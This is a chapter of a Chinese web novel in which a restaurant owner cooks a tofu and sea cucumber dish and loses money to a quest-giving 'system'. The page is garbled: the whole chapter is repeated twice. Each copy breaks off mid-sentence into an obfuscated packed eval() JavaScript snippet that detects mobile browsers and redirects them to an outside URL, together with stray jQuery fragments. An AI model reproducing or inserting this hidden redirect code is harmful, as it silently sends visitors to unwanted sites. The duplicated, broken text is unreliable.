宴安安 作品
53. 豆腐海参煲
唐昊的目光被粉蒸牛肉吸引住了。
不过还是先给两个人老人安排好了，自己才开始吃。
米粉的米香和牛肉的鲜香完美地融合在一起，牛肉入口即化，鲜嫩多汁，米粉吸收了牛肉的汤汁和酱料的味道，变得软糯香甜，同时又保留了米粉本身的颗粒感，口感层次丰富。
牛肉的鲜嫩、米粉的软糯、酱料的醇厚还有一点土豆的香味交织在一起，形成了一种美妙绝伦的味觉体验。
“太好吃了！这粉蒸牛肉简直绝了！”，唐昊一边大口吃着，一边含糊不清地对着唐大爷和唐大妈说道。
唐大爷和唐大妈本来在喝罗宋汤，听见唐昊的话，不约而同的拿起了筷子，尝一尝这个粉蒸牛肉。
一边品尝，一边赞不绝口。
唐大妈也是赞不绝口，说道，“这牛肉真的好嫩啊，而且味道特别浓郁，但是一点也不腻。表面的内层米粉也特别好吃，感觉和牛肉搭配得恰到好处。”
唐大爷也是细细品味着，说道，“这个用的豆瓣酱的味道特别纯正，里面还带着一些辣味，这种味道我也就年轻的时候，在赣南出差的时候才吃到过一次。而且这米粉，应该是手工捣出来的，口感和机器磨出来的就是不一样。”
唐昊看着两个老人爱吃，又点了三份打包，等一会儿吃完饭带走。
正好拿下今天的最后三份。
林安安店里现在老顾客居多，大家对于新出的菜都抱有很大的期待，基本上都会来一份儿尝一尝。
粉蒸牛肉的量少，很多人一份儿就尝了鲜。
所以有很多人饭还没吃完，就又点了好几份，吃不完的就带走，也不会浪费。
后面的人看到有人点了这么多，就感觉肯定好吃。
后面的人也点，但是数量有限，后面的人点不到。
出于吃不到就是最好的以及对于店里规矩的了解，很多人第二天提前来点。
就这样，三天100份的任务，完美完成。
豆腐海参煲的菜谱成功到手。
但是东坡肉卖的就不好，最后的时候还差一份，任务没能完成。
林安安快被这一份给气死了。
你懂吗！
可以是差两份，差十份，但是就是不能差一份！
就差这一份！
林安安的28万没有了。
林安安忙活大半年，天天早出晚归的，基本上没怎么休息过，满打满算才赚了33万，现在一下子就要扣掉自己28万。
林安安的心都在滴血。
系统不知道怎么整了一个炒股的账号。
划进去30万。
系统一点儿也不避着林安安。
用着林安安的手机在操作
林安安眼瞅着系统操作，但是不能制止。
好气！
好难受！
因为系统要做的合理一些。
所以这个28万会在十天之内扣光。
以炒股失败，赔了。
这个合理到林安安都说不出来什么错的理由，扣掉！
不行，想想就难受。
林安安晚上睡觉都在心疼自己的血汗钱。
昨天心疼钱，林安安都没怎么睡觉。
今天起来的巨早。
去菜市场买海参！
豆腐已经让人送去了。
海参得自己去菜市场进货了。
毕竟自己赔了28万，钱包现在瘪瘪的。
所以！
林安安收拾好心情，早起干活，多做一点儿。
早日把扣掉的钱赚回来。
林安安其实不怎么会挑海参。
林安安在网上查了应该怎么挑。
但是吧。
网上说的好像和真正实践起来好像不太一样。
林安安没办法和林妈妈打电话。
寻求一下支援。
林妈妈正在吃早饭呢。
接到林安安的电话，以为有什么大事儿呢。
结果一听林安安问怎么买海参。
林妈妈都不知道应该说点儿什么好了。
真是祖宗。
经过林妈妈的场外指导，林安安终于买到了品质好的上等海参。
林安安买了100只，摊主把零给抹掉了。
林安安买完海参就回去了。
你还真别说。
这个玩意儿是真的很沉啊。
林安安心思买的不算太多，应该不能太沉。
就没推车。
没想到这个还有些重量。
林安安最后打车回的店里。
实在是拎不动了。
林安安回店里先缓了一会儿，才开始做菜。
现在备菜这种活儿，周亚楠他们三个完全能干完。
林安安一般都跟着干。
但是要是哪天早上做新菜的话，他们三个人来了会主动把林安安内份儿活给干了。
特别心甘情愿的那种。
毕竟大家也会吃到新菜呢。
林安安坐着休息的时候，也不是光歇着，也扒了一些大蒜出来。
林安安先把买来的海参都倒入一个大盆里，然后倒满清水。
林安安先拿出来六个海参，轻轻搓洗，去除表面的杂质。
接着，林安安选了一把锋利的小刀，沿着海参的腹部小心翼翼地划开，取出里面的内脏，动作精准而流畅，仿佛在进行一场精细的手术。
处理好的海参被放入锅中，加入适量的清水、姜片和料酒，小火慢煮。
在煮海参的同时，林安安开始准备豆腐。
林安安将豆腐切成大小均匀的方块，每一块都切得方方正正，如同精心雕琢的艺术品一样。
林安安将切好的豆腐被整齐地码放在盘中，等待着下锅。
此时，海参也煮好了，林安安将煮好的海参捞出来，过一遍冷水，冷却一下。
等到海参冷却之后，再用刀将海参切成小段，林安安有一些小小的强迫症，切的海参，每一段都保持着均匀的厚度。
接下来是制作汤汁的关键环节。
这可是决定味道的关键一步了。
林安安在锅中倒入少许橄榄油，放入蒜末、姜末煸炒出香味。
等到蒜末和姜末的香味弥漫开来的时候，加入一勺自制的海鲜酱。
这海鲜酱是林妈妈熬的。
现在正好能用上。
林妈妈做了很多酱，但是只有豆瓣酱的利用率是最高的。
其他的酱只是偶尔吃一吃，利用率比较低。
但是林妈妈还是每种都做了一些。
像什么海鲜酱、虾酱、番茄酱、蓝莓酱，每样都有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15197274|163265||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一罐。
林妈妈本来是做给林安安吃的。
反正这个酱也能放一段时间。
林安安有时候就会拿这些酱来做菜。
实在是因为林妈妈做的酱味道好，比在外面买的好很多。
外面买回来的酱，总有一些怪怪的味道。
之前上大学的时候，林安安也没少买各种品牌、各种味道的各种酱料。
市面上各种大火的瓶装酱料，基本上林安安都吃过了。
但是吧，比林妈妈做的味道差的不是一星半点。
首先说明，一定不是因为林安安的亲情滤镜。
就是单纯从味道出发来评价的。
林安安总结这些差别，差的应该是是添加剂的味道。
海鲜酱在锅中翻炒均匀，散发出诱人的香气。
同时林安安从冰箱里面拿出来两块浓缩鸡汤的冰块放入锅里，加上适量的清水，开火煮沸。
将煮好的鸡汤倒入锅中，再加入少许盐、生抽等调料调味，与此同时，不断的轻轻搅拌，让各种味道充分融合。
汤汁调好后，林安安将切好的豆腐和海参放入锅中、傅盖上锅盖，转小火慢炖。
在炖煮的过程中，豆腐逐渐变得更加嫩滑，海参也更加入味。
林安安时不时的看着锅中的情况，及时调整火候，当着锅里的汤汁变得更加浓稠的时候就好了。
林安安还撒上一把翠绿的葱花和香菜，为这道菜增添了几分色彩和生机。
林安安做完，照例喊大家来尝一尝。
大家也都习惯了，也不客气。
于文齐迫不及待地拿起勺子，舀了一勺汤汁，送入口中。
这小味道，香的于文齐把眼睛都眯起来了，“哇塞，这汤汁熬的太到位了！鲜得我舌头都快掉下来了，喝着还一点儿也不腻，反而越喝越上瘾。”。
一旁的周亚楠也尝了一口豆腐，同样的赞不绝口，“这豆腐嫩得不像话，入口就化了，还吸满了汤汁的鲜味儿，本来我最不喜欢吃豆腐的了，但是小林老板做的豆腐，每次味道都让人惊艳，小林老板真的是太厉害了。”
陶华安安静静的，不会说什么评价，只是一味的吃，用行动向林安安证明，这个豆腐海参堡做的很不错，很成功。
不错，不错。
那今天就上这个吧。
海参都买回来了。
林安安等大家吃完之后，教大家怎么处理海参。
几个人都不是笨蛋，处理了两个之后就掌握了要点。
大家就开始忙碌起来了。
在这个时候，林安安又收到了系统的任务。
“请宿主三天之内卖出去100份豆腐海参堡，
任务奖励：奖励宿主翡翠白玉糕做法一份，
任务惩罚：扣除宿主38万元现金。”。
系统的任务来的也是真是时候。
做呗，还能怎么办呢。
不过，翡翠白玉糕是啥啊。
林安安看着脑海里系统给出的图片和配菜表，猜测这个应该是山药糕。
装饰了一下，起了一个好听的名字吧。
不过还是很期待就是了。
糕点类的菜谱，系统已经很久都没有给过了呢。
来一个也好。
不嫌弃，嘿嘿嘿，嘿嘿嘿，不嫌弃。
不过还是先给两个人老人安排好了，自己才开始吃。
米粉的米香和牛肉的鲜香完美地融合在一起，牛肉入口即化，鲜嫩多汁，米粉吸收了牛肉的汤汁和酱料的味道，变得软糯香甜，同时又保留了米粉本身的颗粒感，口感层次丰富。
牛肉的鲜嫩、米粉的软糯、酱料的醇厚还有一点土豆的香味交织在一起，形成了一种美妙绝伦的味觉体验。
“太好吃了！这粉蒸牛肉简直绝了！”，唐昊一边大口吃着，一边含糊不清地对着唐大爷和唐大妈说道。
唐大爷和唐大妈本来在喝罗宋汤，听见唐昊的话，不约而同的拿起了筷子，尝一尝这个粉蒸牛肉。
一边品尝，一边赞不绝口。
唐大妈也是赞不绝口，说道，“这牛肉真的好嫩啊，而且味道特别浓郁，但是一点也不腻。表面的内层米粉也特别好吃，感觉和牛肉搭配得恰到好处。”
唐大爷也是细细品味着，说道，“这个用的豆瓣酱的味道特别纯正，里面还带着一些辣味，这种味道我也就年轻的时候，在赣南出差的时候才吃到过一次。而且这米粉，应该是手工捣出来的，口感和机器磨出来的就是不一样。”
唐昊看着两个老人爱吃，又点了三份打包，等一会儿吃完饭带走。
正好拿下今天的最后三份。
林安安店里现在老顾客居多，大家对于新出的菜都抱有很大的期待，基本上都会来一份儿尝一尝。
粉蒸牛肉的量少，很多人一份儿就尝了鲜。
所以有很多人饭还没吃完，就又点了好几份，吃不完的就带走，也不会浪费。
后面的人看到有人点了这么多，就感觉肯定好吃。
后面的人也点，但是数量有限，后面的人点不到。
出于吃不到就是最好的以及对于店里规矩的了解，很多人第二天提前来点。
就这样，三天100份的任务，完美完成。
豆腐海参煲的菜谱成功到手。
但是东坡肉卖的就不好，最后的时候还差一份，任务没能完成。
林安安快被这一份给气死了。
你懂吗！
可以是差两份，差十份，但是就是不能差一份！
就差这一份！
林安安的28万没有了。
林安安忙活大半年，天天早出晚归的，基本上没怎么休息过，满打满算才赚了33万，现在一下子就要扣掉自己28万。
林安安的心都在滴血。
系统不知道怎么整了一个炒股的账号。
划进去30万。
系统一点儿也不避着林安安。
用着林安安的手机在操作
林安安眼瞅着系统操作，但是不能制止。
好气！
好难受！
因为系统要做的合理一些。
所以这个28万会在十天之内扣光。
以炒股失败，赔了。
这个合理到林安安都说不出来什么错的理由，扣掉！
不行，想想就难受。
林安安晚上睡觉都在心疼自己的血汗钱。
昨天心疼钱，林安安都没怎么睡觉。
今天起来的巨早。
去菜市场买海参！
豆腐已经让人送去了。
海参得自己去菜市场进货了。
毕竟自己赔了28万，钱包现在瘪瘪的。
所以！
林安安收拾好心情，早起干活，多做一点儿。
早日把扣掉的钱赚回来。
林安安其实不怎么会挑海参。
林安安在网上查了应该怎么挑。
但是吧。
网上说的好像和真正实践起来好像不太一样。
林安安没办法和林妈妈打电话。
寻求一下支援。
林妈妈正在吃早饭呢。
接到林安安的电话，以为有什么大事儿呢。
结果一听林安安问怎么买海参。
林妈妈都不知道应该说点儿什么好了。
真是祖宗。
经过林妈妈的场外指导，林安安终于买到了品质好的上等海参。
林安安买了100只，摊主把零给抹掉了。
林安安买完海参就回去了。
你还真别说。
这个玩意儿是真的很沉啊。
林安安心思买的不算太多，应该不能太沉。
就没推车。
没想到这个还有些重量。
林安安最后打车回的店里。
实在是拎不动了。
林安安回店里先缓了一会儿，才开始做菜。
现在备菜这种活儿，周亚楠他们三个完全能干完。
林安安一般都跟着干。
但是要是哪天早上做新菜的话，他们三个人来了会主动把林安安内份儿活给干了。
特别心甘情愿的那种。
毕竟大家也会吃到新菜呢。
林安安坐着休息的时候，也不是光歇着，也扒了一些大蒜出来。
林安安先把买来的海参都倒入一个大盆里，然后倒满清水。
林安安先拿出来六个海参，轻轻搓洗，去除表面的杂质。
接着，林安安选了一把锋利的小刀，沿着海参的腹部小心翼翼地划开，取出里面的内脏，动作精准而流畅，仿佛在进行一场精细的手术。
处理好的海参被放入锅中，加入适量的清水、姜片和料酒，小火慢煮。
在煮海参的同时，林安安开始准备豆腐。
林安安将豆腐切成大小均匀的方块，每一块都切得方方正正，如同精心雕琢的艺术品一样。
林安安将切好的豆腐被整齐地码放在盘中，等待着下锅。
此时，海参也煮好了，林安安将煮好的海参捞出来，过一遍冷水，冷却一下。
等到海参冷却之后，再用刀将海参切成小段，林安安有一些小小的强迫症，切的海参，每一段都保持着均匀的厚度。
接下来是制作汤汁的关键环节。
这可是决定味道的关键一步了。
林安安在锅中倒入少许橄榄油，放入蒜末、姜末煸炒出香味。
等到蒜末和姜末的香味弥漫开来的时候，加入一勺自制的海鲜酱。
这海鲜酱是林妈妈熬的。
现在正好能用上。
林妈妈做了很多酱，但是只有豆瓣酱的利用率是最高的。
其他的酱只是偶尔吃一吃，利用率比较低。
但是林妈妈还是每种都做了一些。
像什么海鲜酱、虾酱、番茄酱、蓝莓酱，每样都有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15197274|163265||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一罐。
林妈妈本来是做给林安安吃的。
反正这个酱也能放一段时间。
林安安有时候就会拿这些酱来做菜。
实在是因为林妈妈做的酱味道好，比在外面买的好很多。
外面买回来的酱，总有一些怪怪的味道。
之前上大学的时候，林安安也没少买各种品牌、各种味道的各种酱料。
市面上各种大火的瓶装酱料，基本上林安安都吃过了。
但是吧，比林妈妈做的味道差的不是一星半点。
首先说明，一定不是因为林安安的亲情滤镜。
就是单纯从味道出发来评价的。
林安安总结这些差别，差的应该是是添加剂的味道。
海鲜酱在锅中翻炒均匀，散发出诱人的香气。
同时林安安从冰箱里面拿出来两块浓缩鸡汤的冰块放入锅里，加上适量的清水，开火煮沸。
将煮好的鸡汤倒入锅中，再加入少许盐、生抽等调料调味，与此同时，不断的轻轻搅拌，让各种味道充分融合。
汤汁调好后，林安安将切好的豆腐和海参放入锅中、傅盖上锅盖，转小火慢炖。
在炖煮的过程中，豆腐逐渐变得更加嫩滑，海参也更加入味。
林安安时不时的看着锅中的情况，及时调整火候，当着锅里的汤汁变得更加浓稠的时候就好了。
林安安还撒上一把翠绿的葱花和香菜，为这道菜增添了几分色彩和生机。
林安安做完，照例喊大家来尝一尝。
大家也都习惯了，也不客气。
于文齐迫不及待地拿起勺子，舀了一勺汤汁，送入口中。
这小味道，香的于文齐把眼睛都眯起来了，“哇塞，这汤汁熬的太到位了！鲜得我舌头都快掉下来了，喝着还一点儿也不腻，反而越喝越上瘾。”。
一旁的周亚楠也尝了一口豆腐，同样的赞不绝口，“这豆腐嫩得不像话，入口就化了，还吸满了汤汁的鲜味儿，本来我最不喜欢吃豆腐的了，但是小林老板做的豆腐，每次味道都让人惊艳，小林老板真的是太厉害了。”
陶华安安静静的，不会说什么评价，只是一味的吃，用行动向林安安证明，这个豆腐海参堡做的很不错，很成功。
不错，不错。
那今天就上这个吧。
海参都买回来了。
林安安等大家吃完之后，教大家怎么处理海参。
几个人都不是笨蛋，处理了两个之后就掌握了要点。
大家就开始忙碌起来了。
在这个时候，林安安又收到了系统的任务。
“请宿主三天之内卖出去100份豆腐海参堡，
任务奖励：奖励宿主翡翠白玉糕做法一份，
任务惩罚：扣除宿主38万元现金。”。
系统的任务来的也是真是时候。
做呗，还能怎么办呢。
不过，翡翠白玉糕是啥啊。
林安安看着脑海里系统给出的图片和配菜表，猜测这个应该是山药糕。
装饰了一下，起了一个好听的名字吧。
不过还是很期待就是了。
糕点类的菜谱，系统已经很久都没有给过了呢。
来一个也好。
不嫌弃，嘿嘿嘿，嘿嘿嘿，不嫌弃。